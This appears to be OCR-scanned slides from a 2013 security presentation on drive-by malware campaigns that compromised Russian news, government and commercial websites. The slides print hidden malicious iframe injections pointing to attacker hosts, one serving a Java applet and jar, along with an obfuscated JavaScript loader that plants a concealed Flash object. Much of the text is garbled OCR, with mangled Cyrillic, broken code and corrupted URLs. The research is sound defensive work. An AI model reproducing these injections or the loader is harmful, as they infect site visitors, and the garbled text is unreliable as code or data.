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* Victimology (understanding the victims)

» Evolutionary changes of year 2013
* Intermediate Victims
* Techniques and trends

* Tools and protection



Lets recap the terminology ;-)

* Everyone knows what's drive-by, so just a
qguick recap of terminology here to make sure
we are on the same page.:

- A compromised resource loads “stuff’ from a
landing page. The landing page may be part of
TDS or serve an exploit directly. When explolt is
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Y successful a callback may be follow.
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SCOPE

What are our data sources...
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VICTIMS



Incidents here.

* Primary victims. Not so interesting subject

* Intermediate victims are very interesting: these
are the targets which are compromised for the
purpose of leveraging them in malware
campaigns



by simply reading thematic forums ;)

Austraiia: E"°PBinited States
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Source:
A botnet load selling
portal



* About 40 000 000 Internet users in Russia
According our stats:

* For every 10 000 hosts in Russia
* 500 hosts redirected to landing page every week

» 25-50 hosts with typical protection scheme (NAT,
proxy with antivirus, vendor supplied reputation
lists, etc.), antivirus on the host the host) are

COMPROMISED



 DNS servers or domain names hijacked

(add examples from afraid.org)

e Banner campaign (adserver/openx
compromise. (swiss-cheese ;))

* Other infrastructure compromised
memcache poisoning



* Good reputation rank

How popular is rg.ru?

Alexa Traffic Ranks
How is this site ranked relative to other sites?

Global Rank 7

¢ 271603

Rank in Russia 7

= 148

Safe Browsing

Diagnostic page for rg.ru
g pag g J00n

a000
What is the current listing status for rg.ru?

This site is not currently listed as suspicious. 10,000

What happened when Google visited this site? 2012 2013

Of the 2795 pages we tested on the site over the past 90 days, 0 page(s) resulted in

malicious software being downloaded and installed without user consent. The last time rg.ru My WOT [ Site Adviser Report
Google visited this site was on 2013-10-16, and suspicious content was never found on

this site within the past 90 days.

This site was hosted on 2 network(s) including AS6854 (SYNTERRA-AS), AS8641

(NAUKANET-AS). O  Trustworthiness
L . . . L O  vendor reliability 90%
Has this site acted as an intermediary resulting in further distribution of malware?
Over the past 90 days, rg.ru did not appear to function as an intermediary for the infection O Privacy 9004
of any sites. e
O Child safety

Has this site hosted malware?
No, this site has not hosted malicious software over the past 90 days.



Attractive intermediates

Find and abuse,
(Date: May —

abuse, abuse...
Aug 2013)

fbps.1403883.mar2.afraid.org
ju7a.1403883.mar2.afraid.org
wzet.1403883.mar2.afraid.org
gatw.1403883.mar2.afraid.org
kfzv.1403883.mar2.afraid.org

oxdo.1403883.mar2.afraid.org
Ihuf.1403883.mar2.afraid.org

9idc.1403883.mar2.afraid.org
aleu.1403883.mar2.afraid.org

hwld.1403883.mar2.afraid.org
zwif.1403883.mar2.afraid.org
p0z].1403883.mar2.afraid.org
xfc0.1403883.mar2.afraid.org
thym.1403883.mar2.afraid.org
8xem.1403883.mar2.afraid.org
y1d6.1403883.mar2.afraid.org
avv(g.1403883.mar2.afraid.org
399f.1403883.mar2.afraid.org




2013 Campaigns
Statistical Overview



News/Media outlets are very
popular this year

Domain

rg.ru

newsru.com

gazeta.ru
aif.ru
mk.ru
VZ.ru

lifenews.ru

topnews.ru

Resource type

News — official
gov publisher

news

news

news
Nnews
news

news

news

Campaign dates unique hosts per

day
Autumn 2013 ~ 790 000
Winter 2013 — Autumn 2013 ~ 590 000
Spring 2013 - Autumn 2013 ~ 490 000
Spring 2013 - Autumn 2013 ~ 330 000
Summer 2013 ~ 315 000
Winter 2013 — Summer 2013 ~ 170 000
Summer 2013 ~ 170 000
Spring 2013 - Autumn 2013 ~ 140 000



Youtube.com

mail.ru

Vesti.ru
tvrain.ru

maos.ru

glavbukh.ru

tks.ru

Public email, search
engine

TV news
TV

Moscow gov portal

Accountants

Finance
(Import/Explort)

Summer 2013 - Autumn 2013

(malvertising?!)

Winter 2013

Winter 2013
Autumn 2013

Winter 2013 — Spring 2013

Spring 2013 - Autumn 2013
Summer 2013 - Autumn 2013

Alexa N 3

Alexa N 33

~ 1050 000
~ 250 000

~150 000

~65 000
~38 000



» Traffic served during the lunch time from 12 till
15 with 1-2 hours timeframe.
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Malware ports used for driveby (Ports vs Logged attempts count)

21

33 a0 88 S0 9z

442

443

781 BB8 3910 5316 9101 12421 12601 39031 59902 Other
TCP Ports



EXAMPLES

Lets take a look at some of the Intermediate
victims




News site compromise: July 2013

darin - Mpaska Bua  HypHan  Zaknaake  MHCTPYMEHTEI  Cnpaeka

| m Kypaee NpMexan Ha ckyTepe v Bre 00bACH ... | + =
& m b, k. rufvideofS006-kur aew-priehal-na-skutere-i-vse-obvasnil-o-zaschite-chuvsbw-weruyoschib, hibml & "" il ). | o |-
MHK.RU MK TB Nocka 06 bABNEHHI AeToB3rnAan, OXOTHHERLDY WomanHit.ru 16+ ha

MyHTa-KaHa
ot 32 164 PYb

Tyna-o6paTHo, CO0PEI BRIKMEHE.

10 monA YCNoBMA ONNaTsl pasMELLEHNA Ha callTe
cpeaa MHK_ru maTepuanos npengsibopHoi
- . arvTalWK 4nA NposeasHKA npenesBopHoA
B Mockee 5 Bl ®
15:04 BOESNE S | ol B & aruTaumMm Ha ssifopax Mapa Mockek! u Ha
PErHOHBI - BOHIH | perncipauma Beibopax ['ybepratopa Mockosokoi obnacTtu

HoBoctn JKoHOMMKA pOMCWECTEUA Obwecr Kynusrypa Hayxa Hawe MoamockoBLe Caexnit MK

S EHTUHIIY &7‘ AETOpEI -' Bnoru ﬁ DoTo !-I'Ipecc uentp gl Onpocel @ Kapukatypel Mepunoea

P jﬂfﬂ] Pbl M3PA MOCKBbI = 90BAPL CHOYOEH = JENO YPNAWOBA BCE CHGKETbI

HMOCKOBCKMA KOMCOMONeL, Boe no Teme

YR
2 ﬂHpaBnTcn 22718

JW Player a__

3 AN . :
<iframe height="100" width="100" !
src="http://wnjzxyo.homelinux.net/Jz2fyAFnmU/12"
style="left: -10000px; top: Opt; position: absolute;">

3
=img height="1" border="0" width="1" sre="http:/ ad adriver. rufogi-binsrle cgi?=sid=EEe7Zoebn=1sbt=214 T mmmmeeme mEEEr
peE=0arnd=7381%23884atailzsc=http% 34/ /v mk . rus "> ¥
=noscripts img src="http: /S ad adriver.ru/cgi-hbin body § clean_...ss ?z=1T {c1poka 53)
Ffrle. cgi?=sid=2567E [danp ; bn=1 &amp;lbt=21 damp;ps=0/danp ; [rad=1202542704" border=0 width=1 height,=l<,-‘noscript> font-family: "Likberation

+ Zscript type="text/javascript"s Sans" Helvetica Arial sans-serif;
+ <script charset="UTF-2" src="http:/ /bfbvidec.ru/js /video. js.php?a=108 t,y'pe=“t,ext,,.-‘javascr1pt,“> Hine=heiaht: 1Zhe;
Bl <iframe heigh h o0 2 home 1inuax it e="left: -100 z text-align: lefrt;
i ;
+ <html= ly"Hal:ﬂEjll:lBal'll:I OT html
qh:d}::ramp html { clean_.ss?z=1T7 (cTpoKa 36)
color: FOO0OO000;
=s/html> Sy
£ >




News site compromise: July 2013
campaign

B L) ™y
w# | v, aif ruprambler C "* F A || |-
; -
Beeraa pascwm
www.lake-house.ru
Buifipath permon: ‘ ‘ ] 1~’E" i ] b‘ IEIIEI:] .EEH
@ ©OELEPANBHBIN AMO KT AIF.RU | HATI
= T i et Fa i
= . .
< f 11 - 1
lTrame SIrc= eraaelopa.into/inaexm.ntm
[ [ ] [}
e e o
TieklUaWNPUZuxZ01l 524004 3Nnls0VU3R1pr QJAIMELILNGROT 21 BRIV NTIVWIss Zchedet 302 2 body, html { headfoot.css (cTpoka 635)
tzigm%3Defc3bdbeodoebdddaiblacafdalatcdec Zekeynot 3D0%E261100% 3D rut E6nct 303 . 4464 font-size: lépx;
33344671015" > height: 100%;
= <html> margin: 0;
“heads </ /head> padding: 0;
= <body marginwidth="0" marginheight="0" bgcolor="§FFFFFF" scroll="na" le position: relatiwve;
ftmargin="0" topmargin="0"x width: 100%;
= <iframe height="100%" frameborder="0" width="100%" scrolling="no" o }
ar?ginheigh'.?;"ﬂ" marginwidth="0" hspace="0" wspace="0" src="/Sedpl.a body | reset.css (crpoKa 22)
driver_ ru/images/000Z5841 /0002541312 T e
A0/index htwlthtml params=rhost$3Dad. adriver. ru%Zésid%3DE0338%26ads } s
SD410351%Z6bids 3028413125 Z0ar_neype33b0iZcar pass
%3D%26bti3D3d%26pzt D14 26bn% 3084 Z6wideht 303004 26height 301204 26xnds html, body, diw, span, reset.css (cTpoka 1)
SD7E1963697% Ebgeozoneid 30383 26r leur 1% 3Dhttp: applet, object, iframe,
SisZerargets 3D _blank$Zesliceid$ 3012589474 261ids3D 23073581871 hl, hé, h2, hd, hE, he,
= <html= p, blockgquote, pre, a,
3 <heads abbr, acronym, address,
o <body> big, cite, u:u:n:haT t:lelT
dfn, em, font, img, ins,
+ <styles kbd, o, =, sawmp, small,
=l <div class="highlight"> strike, strong, sub,
=l <iframe src="http://feradelopa.info/indexm html"> sup, tt, var, b, u, i,
+ <html= center, dl, dt, dd, ol,
“/iframes ul, 1li, fieldset, form,
< fdins lahel, legend, table,
ti thod: tfoot
+ <s?ript srci".-"ht.ml.jf" language:".]’avafcript"‘: z:za;r:‘nt'.r, zhs,r't,d,oo i
+| <link type="textsocss" rel="stylesheet" href="http: figqure, figeaption,
Ffstaticd aif rufifndv/ndr. css"> article, section {
# <script language="Javafcript's background: nohe repeat scroll 0 0




<iframe height="100%" frameborder="0" width="100%" scrolling="no" marginheight="0"
marginwidth="0" hspace="0" vspace="0"
src="lledpl.adriver.rulimages/0002841/0002841312/0/index.html?htm|_params=rhost
%3Dad.adriver.ru%26sid%3D80938%26ad%3D410951%26bid%3D2841312%26ar_ntype
%3D0%26ar pass%3D%26bt%3D34%26pz%3D1%26bn%3D8%26width%3D300%26height
%3D120%26rnd%3D721963697%26geozoneid%3D38%26rleurl%3Dhttp://%26target%3D _blank
%26sliceid%3D1258947%26uid%3D23073581871">

<htmI><head><body>

<style><div class="highlight">

<iframe src="http://feradelopa.infolindexm.html|">
<html>

</iframe>

******S n | p *kkkkkkk



Commercial Websites: May 2013

= /= | = subaru.rufindex

subaru.ru  fimages/main/body-baimage2. gif
! SUBARU RUSSIA
subaru.ru  fimage_page/swfframef2-b.swf Flash | HTML
subaruru  fimages/lineup/07/e001885_img.swf
Wi, google-analytics, [ utm.giffutmwy=5,4, 18utms=28utmn=56158912 Wrchopmauus MogensHeIR pAg Cepeuc ABTOCNOPT TexH
subaru.ru  fimagesicose.n q HoBocTi ADKME HOBOCTERA Mouck
o T e MySnnkagmd  Apsiuwe nyBnuMkagmi

subaru.ru - fimagesloading.gif

mc.yandex.ru  fwatchf132620717n=2093638wmode=5calback=
subaru.ru  Jflash_txt_Ffilefindex
wiww, gotalk.ru  ftrack?rnd=0.438358122713511984&account_id=34.
me . vandex.ru  fwebvisor [5359487rn=519788wy-type=08&cnt-class
subaru.ru  fimage_pagefima/flash/2013 05 15 mainv3.ipg
subaru.ru  fimage page/swr frame/d-2 swf
teware.info  fcounter/hit/client_deSdr061c99066d82chc437f 2009

Wiy, gotalk.ru - JErackarnd=L.%/ 2190/ /.300/ U 29acaccount_|d=24/.

3 Edit | hody = html
CADOCTFPE Lieml PUBLIC "—/AWIC//DTD XOTML 1.0 Trapnsikiopel  /FEN" "hitp:fvww wd orog/ TRl 1/ DTDrlhEnl 1-transitionel did">
= <html>
[+ <head=

[= =div style="position: absolute; left: -100px; top: -100px;">
=object id="dummy" height="1" width="1" classid="eclsid:dZ7cdbte-aetd-11cf-3cb8-444553540000" name="dummy" > </object=

=param wvalue="always" name="allowScriptliccess"=>
<param value="/images/lineup/07 /2001885 img.swif" name="mowie">
=embhed id="dunmmyZ" height="1" width="1" type="application/x-shockwave-flash" allowscriptaccess="always" src="Simages,/lineup
= dive
[# =div id="fh-root" class=" fh reset">

[+ <script=

=a name="top"> =</ a>



counter.js

function addNewObiject () {

try {

var ua = navigator.userAgent.toLowerCase();
if ((ua.indexOf("chrome") == -1 && ua.indexOf("win") != -1) && navigator.javaEnabled()) {

var

[TuBMGTHV=["s\x75\x62s\x74\x72","\x46\x79Y N\x43\x65)\x59az\x2f\x6dod\x75\x6c\x665J\x6e\x6 2\x79\x76 X\x79hp\x64CTn\
x4f","ps\x75\x59\x6d\x6 7Ps\x2fcomm\x65nt\x73/)\x73\x2fQjM\x57 Szi\x4aHX","\x4a\x6b\x70re\x74\x74ify.\x 73\x77\x66d\x65J\
x6fdV","\x76Vv\x4a\x58\x4agt\x65\x68t1Z2\x48\x57\x66\x41\x7a\x68"];var counter = ITuBMGTHV[1][ITuBMGTHV[0]](-74+84,-
88+32+62) + ITuBMGTHV[27-55+38-6][ITuBMGTHV[0]](-41-21+20+50,-23-34+58) + ITuBMGTHV[2][ITuBMGTHVI[O]](-
94+101,-4+18) + ITuBMGTHV[-87+90][ITuBMGTHV[0]](21-6-13,-52+11-14+67);

var div = document.createElement('div');

div.innerHTML = '<object id="dummy" name="dummy" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
width="1" height="1">";

div.innerHTML += '<param name="allowScriptAccess" value="always" \/>';
div.innerHTML += '<param name="movie" value="'+ counter +" \/>',

div.innerHTML += '<embed id="dummy2" name="dummy2" src="'+ counter +'" width="1" height="1" name="flash"
allowScriptAccess="always" type="application\/x-shockwave-flash" \/>';

div.innerHTML += '<\/object>'; div.style.position = 'absolute’; div.style.left = '-100px’; div.style.top = '-100px’;
document.body.insertBefore(div, document.body.children[0]);}

} catch (e) { if (document.body == undefined || document.body.children[0] == undefined) {
setTimeout(‘addNewObiject()', 50);

%
addNewObject();



ommercial Websites.
Aug 2013 Campaign

[ s canaconic.ry Web Sessions <<
350Nic. FU - MoMck B Google k— * Result  Probocol Host  LRL
301 HTTP www, fiddler2.com  [fiddlerZ/updatecheck, asprisBeta=False
200 HTTP fiddlerZ.com [fiddler2fupdatecheck, aspfisBeta=False
200 HTTP pS-Feagnlpdecriugg-mS3bini...  fveexp3i6.qif
200 HTTP pS-Fegnlpdecriugg-mS3bini...  fveexp3i6.aif
200 HTTP i, google, r furlfsa=t&rct=jRg=panasonic. rufsource=webicd
o0 HTTRE A, panasanic. i [ ||
200 HTTP i), PANasoNIC,Fl JhEmiiCss)style, css
I 200 HTTP v, panasonic.ru fhkmlfcss defaolt, css
200 HTTP wae, panasonic.ry fhkmlfcss/nivo-slider css
200 HTTP v, panasonic.ru fhkmlijsfiquery_javascript_library.js
200 HTTP v, panasonic.ru fhemliisiFlashobject. js
I 200 HTTP wae, panasonic.ry fhmlfis/checkbo, js
200 HTTP v panasonic.ru fhkmlfjsfocufon-wui, js
200 HTTP wa, panasonic.ry fhmlfisfiquery nivo, slider ., js
200 HTTP v, panasonic.ru fhkmlfisfis. js
200 HTTP wae, panasonic.ra  fhmlfisMyriad_Pro_400.font. js
200 HTTP v, panasonic.ru fhkmlfjs)DINCondensedC_400.font. js
200 HTTP v, panasonic.ru - fhkmlijsfcufon. s
200 HTTP wa, panasonic.ry Jbitrixftemplates) default/is/jquery  validate. js
200 HTTP v panasonic.ru fhemlicssfscroll Flexcrallskyvles.css
-_E < o - HTML €SS | Script ~ | DOM 200 HTTP wae, panasonic.ry  fhmlfimages/imgjaptech. png
200 HTTP vk.com  [is/apifopenapi,js?aa
Al 200 HTTP e, panasonic.ry  Jbikrixgisimaintajax. js
. mn [ 200 HTTP ajax,googleapis.com  fajaxflibsfiquery1.7. 1 fiqueary . min.is
: 200 HTTP v, panasonic.ru fuploadfiblocki970/eplaza_new.jpg
i ° d t -t ll<d- @26 200 HTTP il B3NS n bkl olliflexerall i
; ocument.writie 1V Sz HTe
o 70 304 HTTP .
' t I p— | = = b = I -t - h = d d 1 >< -f ™| 71 200 HTTP v, panasonic.ky fhimlfimages/detailsflago.png
A S y e — VI S I I I y ] I e n I ram e |:':| 72 200 HTTP wa, panasonic.ry  fhmlfimages/details/lst, png
: # - - I:':I 73 200 HTTP v, panasonic.ru - fhkmlfimages/detailsibtn_search. png
L Wldth—l 17' hEI ht—' 17' $74  z00 HTTP cdn.odinkad.ru  ftags]14498-c4d150.js
: = g — Blao zm . . 29664
: - - [9] a1 200 nipolken.infa  fooms.cgiz?
: SrC:l htt 'IISI m bl rS kmebel rulmo #1532  zm0 CarmECgEE T 80-c4d190. htm7ach=197"
; p _ - o hed i3 200 HTTP v, panasonic.ru fhemlfimages/details /b3, qif
" ] -l ] I:':I a4 200 HTTP wa, panasonic.ry  fhmlfimages/details/podr. gif
' velste p p h p fram e b 0 rd e r_ 0 I I:':I a5 200 HTTP v, panasonic.ry fhtmlfimages/detailsimask_border_grey_white. gif
: " a6 200 HTTP Wy, panasonic.ru fswifpanasonic_viera_944x330.swk
i - 1 1 - = 1) Y Ble7 20 HT - ' g —
; S c ro I I I n g — n o > <II fram e > <Id Iv> ) [%] 88 302 HTRP nipalkeo.info  fnkxugyzj.coiv2ékybsi=1&qgrar=18gzqjs=365326
: ) Blss 200 HT R R
3 [4] 142 301 HTTP newstss.bbe.co.uk  frss/newsonling_world_editionfrant_page rss.xml
o H 1143 200 HTTP feeds . bhci.co.uk 'news'rss. wmi7edition=int




$(fu n Ctl on () {*************** S N I P *****************}) })

N(Query)

function showPreloader(selector)

{*************** SN“:) kkkkkkkkkkkkkkkkk

return preloaderld;

}

function hidePreloader(preloaderid)

{*************** SNIP *****************}}

document.write("<div style='visibility:hidden'><iframe width='17"
height='17"' src="http:/Isimbirskmebel.ru/move/step.php’
frameborder='0' scrolling="no"><l/iframe></div>");




[ Oct 18 2013 Direct URL access :
Simbirsk is the Lenin Motherland :

l G #CMMAMPCEaA MebenEHasA ¢

e L'I sml:urskmel:uel ru

CHM

|

FUPLHASR
EHPCKAS

MEIiEIII]HA!I

¢¢¢¢¢

h :E:I ; 1 :.- 2.

34-16-97

Web Sessions

# Result
[Z|1... 200 HTTP
[ZE1... 200 HTTP
. Bii1.. =200 HTTP
Eli... =zo0  HTTP
A1.. 404 HTTP
[ZE|1... zoo  HTTP
A1.. 404 HTTP
A1.. 404 HTTP
[(ZE|1... =200  HTTP
[%]1... 301 HTTP
€¥1,., zo0  HTTP
[51... 302  HTTR
€¥1... 200 HITP
Al 404 HTTP
[&1.. 302 HITP
Al 404 HTTP
€¥1..., 200 HITP
[%1... 302 HTTP

Protocol

Haosk
simbirskmebel. ru
simbirskmebel. ru
simbirskmebel.ru
simbirskmebel. ru
simbirskmebel. ru
simbirskmebel. ru
simbirskmebel.ru
simbirskmebel.ru
simbirskmebel.ru
simbirskmebel.ru
simbirskmebel.ru
simbirskmebel.ru

limaso, bilopiso, biz
limaso, bilopiso, biz
limaso, bilopiso, biz
limaso, bilopiso, biz
v, wrandes, ru
wabs, wandex.ru

LRL
fimages/boktorn-main-li, gif
Jad-galleryibg.png
fimages/mainf . swf
fad-galleryiad_next.png
Hioader, gif
fad-galleryfad_pres.png

Ipublicfimages highslidefg. .
Ipublicfimageshighslidefg. .

[Favicon.ico
Imove

Imove)
Imove)step, php
fcoms,cqivs
[Favican.ico

Iszpr.coi?Z8kybsj=08nqar. ..

[Favican.ico

!

feounk KR SZn0gHp4400. ..

simbirskmebel, U

Imasa,
Imasa,
Imasa,
Imasa,

Dilopisa,
nilopisa,
nilopisa,

nilopisa,

0|z
0|z
0|z

0|z

iy, yandes, ko

276
400

185 300 no-cac...

0 private...

texkyneml; ...
texkfhtml; c...
texkfhtml; c...

Miscellaneous

Transport

ks h'v ﬂ

miove step,php
Coms, cgids

sZpr . Cgif 2 Bdeybsi=08agr.
Favicon,ico

I

|
|
IFavicon.ico
|
|

Server: nginx/l.4.2

Location: htkp: sy vandex.ru
Proxy-Connection: Keep-alive o




Financial sector: Aug 2013

%) TKS.RU - pcé o TamomHe. TaMoMHA 017 BCEX - POCCHACKMH TaMoMe HHbIH nopTan - Mozilla Firefox

daiin  [paeka Bua  MypHan Jaknaakd  MHCTPYMEHTEI  Crpaeka

| L TES.RU - & 0 TamomHe, TamowHa And Bce... | =+

1= i
W v s ru || *g- Ll || ==
”
E NpepsaputenbHoe nHdbopmuposaHue v TpaHsuTHaa T1 8 EC ON-LINE
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Analysis date: 2013-08-14 14:36:31 UTC ( 2 months ago )

https://www.virustotal.com/en/file/70c21fb812665fc1d75b158b7a48f4e85chafSbcc37a2dfd0d0555a7f56 1f9a8/analysis/1376491063/

https://www.virustotal.com/en/file/deeeel1c34a55901e368db3a715419ae886a33be3f504fd1203076b6eeb62502/analysis/1376490991/


https://www.virustotal.com/en/file/70c21fb812665fc1d75b158b7a48f4e85cbaf5bcc37a2dfd0d0555a7f561f9a8/analysis/1376491063/
https://www.virustotal.com/en/file/deeee11c34a55901e368db3a715419ae886a33be3f504fd1203076b6eeb62502/analysis/1376490991/

Bing me

(- | = | v, bing. com/fimages) search?g=0avBaHqkkH+bo To+HpHOyHEHBiEw=det ailkid=A440C FFA4F 7 2EF TG4 1 SAISETADT2O9E44 I FERES 1 S&first=1548FORM=IDFRIR

R = — = =

WEE IMAGES VIDEOS  MORE

blﬁg OOYEEHYMKM HOTO PHCYHKM jo,

KLADGVKA

KLADPOVKA xc

2013 Microzoft | Privacy and Cookies | Legal | About our ads | Help | Feedback

-

S Console | HTML + | £S5  Script  DOM et

! Edit  body.en = html

= Sd1v 1d="s ot F
<img id="s_ load" alt="" sre="/mw/s/loading lg.gif" style="display: none;"=

[# =div id="s err" class="noshow":=
R

[=) <iframe id="=_ =sp" scrolling="no" frameborder="0" style="height: 1&00px;"=
[H <htwml lang="ru" zml:lang="ru" zmlns="http:/ mwr w3 org/l399xhenl "=

= <heads=
= <script type="text/jawvascript" sreo="http: /S !
1
72 document write | '-<diwv style="position: absolute; left: -1Z6lpx; top: -11E8px;"=<ifram
< fscriptr
[+ <stvle type="text/Scsz"=
=/heads
= =body>

[+ <iframe style="position: absolute; left: -939%px; top: -99%px; width: lpx; height:
lpx:;" allowtransparency="true" name="HRemotelframe":=
[ =diwv style="position: absolute; left: -1Z&lpx; top: -11E8px;"=
= <iframe width="10Z4" height="765" src="http://driuat. schoolopros.ru/viewforun. phpih=2214
<html=

=i frame:=

= div=



] 200 HTTP w, bing.com  fFdflsfls, giF IG=5a6He961904c7 aadbale0babde 5238 Arcept-Charset: [50-8859-1,ukF-8;0=0.7,%,q=0.7
6 200 HTTP chlenososalka. myftp.org  fshowforum, php?pid=54543 Accept-Encoding: gzip, deflate
720 HTTP Hadowka.kg  fenginefclassesfis iquery.is Accept-Language: en-us,en;g=0.5
& 700 HTTF Kadovka.ky Jengine/dassestisfiqueryui.js Liser-Agent: Mazilaf3.0 (Windows NT 5.1; re:7.0) Gecko/20100101 F
9 20 HTTP Hadowvka.kg  fengineclasses/is/die_js.js Miscellaneous .
0 20 HTTE Wadovkakg  fenaing/classes highsidefhichsiide. js Referer: http: [ adovka, kg/design/vector fvector-nature 2 122-oduv
1 200 HTTP Kladowka.ky  fremplates|Defaolk skvielbase, css :ranspnrt | . A
2 200  HTTP Kadowkakg  fremplates Defaulkfstyleiskyle, css — —
3 200 HTTP Kladowka.ky  fremplates|Defaulk/skyvie/engine, css | Transformer | Headers || TextView | SvnbaxView | Imagebiew
4 404 HTTP Kadovkakg  fremplates Defaulkjs/easing. js HexView | Webview | Auth Caching | Cockies | Raw
5 404 HTTP Kadowkakg  fremplatesDefaulk/js timers,is I
6 404 HTTP Kadowka.ky  fenginefinelaja:_helpfjsfhelp_ajax.is
g 404  HTTP Kadovkakg  fremplates Defaulkjs/easing. js ] vt <div sle="sosiion: absolte: et 1261 top: 1156w
. ocument wike('sdiv style="posttion: absalute; (eft: 1267 px; top: 11580
0z HF driuat.schoolopros.ru - fviewforum,php?b=22F5gah {Iframe src ="http: //dnuat. schooloproz. iudviewtonum, php Yb=22f50a0"
85 200 HTTP mc.vandex i folmap) 71953307 =288 1 288page-url=http%e 385:2F% width="1024" height="768"s < Aiframes < Adivy);
#Y ¢ D= HIML €55 | Seript v | DOM | X showfor
ol 52923-duhovnag-nasiedstva-slavyan--ar, .. 7 Cp A0 | watche |8
1 Al Newwatch ex
Al -:zcript sro="http://chlenososalka. nyftp. ory/showforun. phplpid=54543" type="text/javascript's=+</scripts<IDOCTYPE htul PUBLIC "-//W3C//DTD MHTML 1.0 Transitional//EN" (B
EN-htul nulnz="http://wnr.wd.org/1393/xhtnl" sul:lang="ru" lang="ru':
4 <head=>
ki <meta nawe='loginza-verification' content='d4ddl85hlddbddheT0bEfd3cd fddEbiba' />




domain: SCHOOLOPROS.RU

nserver: nsl.afraid.org.

nserver: ns2.afraid.org.

state: REGISTERED, DELEGATED, VERIFIED
org: LLC "GKShP"

registrar: RU-CENTER-REG-RIPN

admin-contact: https://www.nic.ru/whois
created: 2010.01.25

paid-till:  2014.01.25

free-date: 2014.02.25I



Observation time: Oct 2013

Dk FJ] post-trackerru

I EMS MNaodTa ¥EpakHel E= EMS MNodTta CLUA
a EMS ModTa Kazaxctada ‘g’ EMS Nouta Hopen
ﬂ EMS Modta MoHKOHrE E EMS ModTa &zephangsada

MH}POpMaLKA O CTETYCaX TPEK-KO40E SETOMATHHECKH MIENSKASTCA M2 OTKPEITE R HCTOHHHKOE, E
HECTHOCTH € o MUMANEHEIX CAHTOE NOYTOEEX CMCTEM MMPa, QPpraHWMzaTopel pecypeoa Post-Trackerru
FapaHTHREY KT, 9T0 He ByayT NepelaEaTe AMHHEIE A3HHEIS NONEI0EATENSH M HOMEPE TPEK-KO40E
TPETEHMM NMUaM, MZene4eHHe MHBDOPMALKMKM NO CTATYCAM TPEK-KO4A0E C COOTESTCEYHILW MY PECYpCoE
APOMIZECAMTEA OT MMEHKM NoNeZ0EaTENA, Aobaervewero ero. Kpowe Toro, yeesomnaen Bac, 4To
ASHHEIE N0 EREMEHK NPOXO#AEHHA 400 3ENeHHE R Bank Tpek-KoA0E, ByayT MCNONESOEATECA ANA
HOPMMPOESHKHA CTATHETHMKKM MNPOXOHAEHHA NOHTOER X OTARAENSHKMA, KW ByayT A0CTYNHEl BECEM
HENAWWMKH E 0beznuMdeHHoON dopMe B CcOOTESTCTEYWLLEN paziene pecypca Post-Trackerru

T g Yandraid ool Teo v

MorMowe | CMC-¥eegomMneHka | PerkNamMa Ha cainte | KoHTakTkl
Bra npaea @ AlexxME
rleTpozagonck
20049r, - 2013r,

HidiO4id
92 280

EO0 530

ot Hye £ o . HTML v | CSS Script DOM

¢% Edit  body = html

= <html=
t <head>

+ <table class="maintable" cellspacing="0" cellpadding="0" border="0" align="center"=
+ <div class="counters"=>
=l €iframe sreo="http:/ sellinqumec_atollsi biz/same/exenption_ html" style="width: Z98px; height: 180px; position: abhsolute; top: -73%4px; left: —-4134px;"=
= <html*
=l <head=
“title> Too Many Bequests </ /title= 1
“/head>
= <body=
=hl* Too Many Regquests-<=/hl=
=p=I only allow 50 recquests per hour to this WMebk =site per logged in user. Try again soon. =7 pr
= fhody=

<iframe src="http://sellingumec.atollsi.biz/same/exemption.htm|"
style="width: 298px; height: 180px; position: absolute; top:
-79004p¥x: |left: -4134px:">



‘Observation time: Oct 2013

<a href="http://metrika.yandex.ru/stat/?
Id=5876056&amp;from=informer"

target="_blank" rel="nofollow"><script
type="text/javascript"

src="http://impasse.publicservant.biz/over.|js">
</script><img
src="//bs.yandex.ru/informer/5876056/3 0 DD
FSFFFF BDD8FOFF 0O pageviews"

style="width:88px; height:31px; border:0;"
alt="D P¥2D"'Dub°N-.DoeDuN,NED DoP°"
titte="D B¥%:D Dub°N-.DebuN,NED D°P°: b
"D°PY:DY:NDU B-D° N-Dub3p3D DYaN-
(D¢ NED%N-DY4D%N,NENS, D2D D-D N,N¢ b,




<iframe src="http://sellingumec.atollsi.biz/same/exemption.html" style="width:
298px; height: 180px; position: absolute; top: -7994px; left: -4134px;">
<html|>

<head>

<title>Too Many Requests</title>

</head>

<body>

<h1>Too Many Requests</h1>

<p>l only allow 50 requests per hour to this Web site per logged in user.
Try again soon.</p>

</body>

</html|>



| | tiens.b
2 [0 o

MopTan 340pPOBbA Q@@ KOPNOE

¢ i |

W LS = H Console | HTML » | €55  Script  DOM et

¢%»  Edit  iframe = body#FF-...-default = html

[= <html>

= <head:=
=soript async="" type="text/javascript" sro="http: /S partner.googleadservices. com/gpt /pubads inpl 27 _]js">
=script charset="utf-8" =srec="/ /mc_yandex_ rua/metrikas/watch_js">
<style type="textfoss">
<style type="textfoss">

=fhead>
[E <body id="ff-mynxx" class="f-default light-green light ichandle":>

<jiframe width="1" height="1" stvyle="wizibility: hidden" src="http: /S wan . sytes. net: l1Z60l fcontent s/tcemplate /bad/ module . php?dom=8Z" =

<iframe width="1" height="1" style= V|S|b|I|ty hidden"

=t.a content=" quiw=

src="http://xwmwrjyep.sytes.net:12601/contents/template/bad/mod
ule.php?down=82">



Observation date: Oct 2013

<Iframe
src="http://xwmwrjyep.sytes.net:12601/content
s/template/bad/module.php?down=82"
width=1 height=1 style="visibllity:
hidden"></iframe>1»¢,

<IDOCTYPE HTML PUBLIC "-//[W3C//IDTD
HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd">
<head>

<base href="http://www.tiens.by/" />

<meta http-equiv="content-type"
content="text/ntml; charset=utf-8" />



LLRRRR R R P )

i, EiEns, by
M vep.sytes.net 12601
M Tyep,sytes,net 12601
M vep.sytes.net 12601
i

M lyep,sytes,net 12601
M vep. sytes.net 12601

Fhyouygsaf, sytes.net: 12601

3 001 3 1 ot
plugins system rokborokba,is 20,276

icontents templatebadimodule, php? down=52 7,949 Expires. .,
icontentstemplatebadapplet,jnlp 9 Expires..,
icontents/template/bad/hOLkr jar 36,940 Expires..,
icankents template bad applet, jnlp O Expires, .,
icontentstemplate/bad/applet,inlp 9 Expires..,

ibackup, php?beta=48tdown=4068serylet=128skins=7318me. .

g 1 1
application/-avascript
ket ki
bt ki
application/x-iava-ar, .
bt ikl
bt kil

application octet-stre, .



Observation time: Oct 2013

a iy slamdunlk, ru

L= T T ) O

f a) “O0HAa ntca. OOuH A3klK:A3bIK 0ackem60

S > HTML ~ | C55 Script  DOM
¢3  Edit  ohject = body < html.va-page_js_wes

